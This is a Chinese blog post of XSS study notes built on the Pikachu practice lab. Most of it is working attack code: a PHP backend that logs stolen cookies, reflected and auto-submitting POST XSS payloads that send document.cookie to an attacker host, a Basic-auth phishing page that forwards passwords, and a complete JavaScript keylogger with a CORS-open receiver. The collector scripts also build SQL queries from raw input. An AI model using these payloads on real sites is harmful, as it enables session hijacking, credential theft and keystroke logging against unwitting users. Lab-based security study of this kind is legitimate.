XSS漏洞利用案例实验

前言

此为XSS漏洞学习笔记,记录XSS的学习过程,方便今后复习使用,有写的不好的地方请见谅,大佬勿喷。

GET型XSS利用

攻击流程

 

攻击实现

以pikachu网站的反射型XSS(GET)为例

 

 

攻击者发现在192.168.233.1的pikachu站点里发现xss反射型漏洞,且为GET型,构造获取cookie的语句,把用户访问该站点时的cookie返回给攻击者网站上搭建的pkxss后台

//攻击者后台获取cookie的php文件
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面
 
if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.233.1/pikachu/index.php");//重定向到一个可信的网站,此处直接重定向到存在XSS漏洞的网站的首页
 
?>

 

构造语句为

<script>document.location = 'http://192.168.233.151/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

 

插入到存在反射型XSS的文本框里并提交,成功返回到pikachu网站首页

 

 

 

 

查看攻击者获取cookie的网站,成功获取到攻击者自己的cookie

 

 

接下来,攻击者便可以把存在获取cookie的url发给用户

http://192.168.233.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.233.151%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

 

用户访问该url成功跳转到pikachu网站的首页

 

 

此时攻击者后台成功获取到用户在该网站的cookie值

 

 最后,攻击者便可以使用该用户的身份登录该网站造成破坏。

 

POST型XSS利用

攻击流程

 

攻击实现

攻击者发现存在POST反射型XSS漏洞的网站,伪造表单自动提交页面,发给正在浏览该网站的登录用户,骗其打开,便可获取用户cookie值

<!-- 攻击者构造的表单自动提交页面 -->
<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.233.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.233.151/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
    </script>"
     />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

 

此时用户登录页面,并在页面里浏览

 

 

 

 

此时攻击者把构造好的表单自动提交页面post.html发送给用户,骗其打开

 

 

用户打开攻击者发来的url并成功跳转到pikachu首页,此时攻击者获取到了用户的cookie值,并可利用该用户身份登录该网站

 

 

此时攻击者便获取到了用户的账号:admin和密码:123456,可以使用该用户的身份登录该网站造成破坏。

 

钓鱼

此案例使用pikachu的存储型XSS

 

 

 

攻击者构建钓鱼网站,骗取用户的账号密码

//钓鱼网页
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
    header("Location: http://192.168.233.151/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
    &password={$_SERVER[PHP_AUTH_PW]}");
}

?>

攻击者搭建获取钓鱼信息的后台

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();



if(!empty($_GET['username']) && !empty($_GET['password'])){

    $username=$_GET['username'];
    $password=$_GET['password'];
    $referer="";
    $referer.=$_SERVER['HTTP_REFERER'];
    $time=date('Y-m-d g:i:s');
    $query="insert fish(time,username,password,referer) 
    values('$time','$username','$password','$referer')";
    $result=mysqli_query($link, $query);
}

?>

 

攻击者构造语句,插入存储型XSS中

<script src="http://192.168.233.151/pkxss/xfish/fish.php"></script>

 

 于是,每次刷新该页面都会跳出需要账号密码的输入框

 

 当用户浏览该页面时也会跳出请求账号和密码的提示框,如果用户不注意并成功输入账号和密码后,攻击者后台便可获取到用户的账号和密码

 

 最后后台不知道出啥问题了,一直获取不到数据,但钓鱼思路就是这样

补充:想要获取到最后钓鱼结果的可以参考下面这篇文章:

Pikachu漏洞靶场系列之XSS钓鱼攻击后续 - 云+社区 - 腾讯云 (tencent.com)

 

键盘记录

此案例依旧使用pikachu网站的存储型xss

攻击者编写获取键盘记录的js代码,并构造语句插入存在xss的文本框,当用户浏览该网页时,在键盘上输入的值都会被记录到攻击者的后台

/**
 * Created by runner on 2018/7/8. 
* 获取键盘记录的js代码
*/ function createAjax(){ var request=false; if(window.XMLHttpRequest){ request=new XMLHttpRequest(); if(request.overrideMimeType){ request.overrideMimeType("text/xml"); } }else if(window.ActiveXObject){ var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++){ try{ request=new ActiveXObject(versions[i]); if(request){ return request; } }catch(e){ request=false; } } } return request; } var ajax=null; var xl="datax="; function onkeypress() { var realkey = String.fromCharCode(event.keyCode); xl+=realkey; show(); } document.onkeypress = onkeypress; function show() { ajax = createAjax(); ajax.onreadystatechange = function () { if (ajax.readyState == 4) { if (ajax.status == 200) { var data = ajax.responseText; } else { alert("页面请求失败"); } } } var postdate = xl; ajax.open("POST", "http://192.168.233.151/pkxss/rkeypress/rkserver.php",true); ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); ajax.setRequestHeader("Content-length", postdate.length); ajax.setRequestHeader("Connection", "close"); ajax.send(postdate); }

插入文本框的语句

<script src="http://192.168.233.151/pkxss/rkeypress/rk.js"></script>

因为为了安全考虑,所有的浏览器都约定了“同源策略”,同源策略规定,两个不同域名之间不能使用JS进行相互操作。所以攻击者获取键盘记录的后台需要开启跨域访问

如果想要跨域操作,则需要管理员进行特殊的配置。
比如通过:header(“Access-Control-Allow-Origin:x.com”)指定。

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);


?>

攻击者插入语句后成功在后台获取到用户的键盘输入记录

 

 

 

 

 

posted @ 2022-04-24 13:04  ling-lz  阅读(911)  评论(1编辑  收藏  举报
Live2D